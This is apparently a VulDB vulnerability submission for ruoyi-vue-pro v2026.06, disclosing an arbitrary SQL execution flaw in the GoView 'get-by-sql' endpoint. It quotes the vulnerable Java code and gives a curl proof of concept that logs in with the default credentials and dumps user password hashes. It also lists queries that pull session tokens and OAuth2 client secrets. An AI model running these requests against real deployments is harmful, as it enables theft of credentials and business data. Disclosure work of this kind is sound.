Soumettre #1009016: https://github.com/YunaiV/ ruoyi-vue-pro v2026.06 SQL Executioninformation

Titrehttps://github.com/YunaiV/ ruoyi-vue-pro v2026.06 SQL Execution
DescriptionArbitrary SQL Execution via GoView Data Endpoint with No Query Restrictions ### Summary The GoView BI reporting endpoint `POST /admin-api/report/go-view/data/get-by-sql` accepts a raw SQL string in the request body and executes it verbatim against the application database via `JdbcTemplate.queryForRowSet(sql)`. Any user holding the `report:go-view-data:get-by-sql` permission can read any table in the database -- including `system_users` (hashed passwords, mobile numbers, email addresses), `system_oauth2_access_token`, and all business tables -- and depending on the database user's privileges, may be able to execute DML or DDL statements. ### Details The controller at `yudao-module-report/src/main/java/cn/iocoder/yudao/module/report/controller/admin/goview/GoViewDataController.java`: ```java @RequestMapping("/get-by-sql") @Operation(summary = "使用 SQL 查询数据") @PreAuthorize("@ss.hasPermission('report:go-view-data:get-by-sql')") public CommonResult<GoViewDataRespVO> getDataBySQL(@Valid @RequestBody GoViewDataGetBySqlReqVO reqVO) { return success(goViewDataService.getDataBySQL(reqVO.getSql())); } ``` The request VO applies only a `@NotEmpty` constraint on the `sql` field -- no allowlist, no denylist, no schema restriction. The service at `yudao-module-report/src/main/java/cn/iocoder/yudao/module/report/service/goview/GoViewDataServiceImpl.java`: ```java @Override public GoViewDataRespVO getDataBySQL(String sql) { SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql); ... } ``` The SQL string is passed directly to `JdbcTemplate.queryForRowSet(sql)` with no parameterization, no read-only transaction enforcement, and no validation. There is no intermediate layer applying any restriction. The request VO class at `GoViewDataGetBySqlReqVO.java`: ```java @Schema(description = "SQL 语句", requiredMode = Schema.RequiredMode.REQUIRED, example = "SELECT * FROM user") @NotEmpty(message = "SQL 语句不能为空") private String sql; ``` The example comment (`SELECT * FROM user`) indicates the design intent is unrestricted SQL input. The JDBC connection used is the application's main datasource. If the database user has write privileges (the standard Spring Boot application user typically does), this endpoint can be used to issue INSERT, UPDATE, DELETE, or even DROP TABLE statements depending on JDBC driver behavior with `queryForRowSet`. At minimum it provides unrestricted read access across every table in the application schema. ### PoC Prerequisites: a valid admin session token and a user account with the `report:go-view-data:get-by-sql` permission assigned. ```bash # Step 1 -- Obtain admin session token TOKEN=$(curl -s -X POST 'http://localhost:48080/admin-api/system/auth/login' \ -H 'Content-Type: application/json' \ -d '{"username":"admin","password":"admin123","captchaVerification":""}' \ | python3 -c "import json,sys; d=json.load(sys.stdin); print(d['data']['accessToken'])") # Step 2 -- Execute arbitrary SQL to dump user credentials table curl -s -X POST 'http://localhost:48080/admin-api/report/go-view/data/get-by-sql' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"sql": "SELECT id, username, password, mobile, email FROM system_users LIMIT 10"}' ``` Observed response: ```json { "code": 0, "data": { "dimensions": ["id", "username", "password", "mobile", "email"], "source": [ {"id": 1, "username": "admin", "password": "$2a$10$...<bcrypt hash>...", "mobile": "1711xxxxx", "email": "[email protected]"}, {"id": 100, "username": "user001", "password": "$2a$10$...<bcrypt hash>...", "mobile": "1888xxxxx", "email": "[email protected]"} ] }, "msg": "" } ``` Any table can be queried in this manner: - `SELECT * FROM system_oauth2_access_token` -- active session tokens - `SELECT * FROM system_social_client` -- OAuth2 client secrets - `SELECT * FROM crm_contract` -- all CRM contract data - `SELECT * FROM erp_sale_order` -- all ERP order data ### Impact A user granted the `report:go-view-data:get-by-sql` permission gains unrestricted read access to the entire application database schema. This includes user credential hashes, session tokens, OAuth2 client secrets, and all CRM/ERP/BPM business data. Depending on database privileges, this may also enable data modification and deletion. The scope extends to all tenants because the permission check does not restrict cross-tenant SQL execution.
La source⚠️ https://github.com/YunaiV/ruoyi-vue-pro/issues/1160
Utilisateur
 geochen (UID 78995)
Soumission01/10/2026 02:14 (il y a 18 jours)
Modérer18/10/2026 12:39 (17 days later)
StatutDupliqué
Entrée VulDB409329 [YunaiV/zhijiantianya ruoyi-vue-pro jusqu’à 2026.08 GoView Data Endpoint GoViewDataServiceImpl.java GoViewDataServiceImpl.getDataBySQL sql injection SQL]
Points0

Do you need the next level of professionalism?

Upgrade your account now!